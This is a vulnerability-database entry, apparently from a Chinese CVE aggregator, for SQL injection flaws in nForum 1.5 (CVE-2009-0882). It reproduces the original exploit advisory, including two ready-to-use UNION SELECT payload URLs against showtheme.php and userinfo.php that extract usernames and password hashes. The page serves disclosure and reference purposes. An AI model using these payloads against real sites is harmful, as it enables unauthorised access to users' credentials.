nForum 'showtheme.php和userinfo.php'SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117457 漏洞类型 SQL注入
发布时间 2009-03-09 更新时间 2009-03-13
CVE编号 CVE-2009-0882 CNNVD-ID CNNVD-200903-230
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8170
https://cxsecurity.com/issue/WLB-2009030018
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-230
|漏洞详情
nForum是一个基于PHP编写的论坛程序。nForum1.5版本中存在多个SQL注入漏洞。远程攻击者可以借助(1)对showtheme.php的id参数以及(2)对userinfo.php的用户参数,执行任意SQL指令。
|漏洞EXP
*******   Salvatore "drosophila" Fresta   *******

[+] Application: nForum
[+] Version: 1.5
[+] Website: http://sourceforge.net/projects/nforum/

[+] Bugs: [A] Multiple SQL Injection

[+] Exploitation: Remote
[+] Date: 06 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: showtheme.php, userinfo.php

These bugs allows a guest to view username and 
the password of a registered user.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/showtheme.php?id=-1' UNION ALL SELECT 1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23

http://www.site.com/path/userinfo.php?user=-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-03-09]
|参考资料

来源:BID
名称:34030
链接:http://www.securityfocus.com/bid/34030
来源:BUGTRAQ
名称:20090306nForum1.5MultipleSQLInjection
链接:http://www.securityfocus.com/archive/1/archive/1/501560/100/0/threaded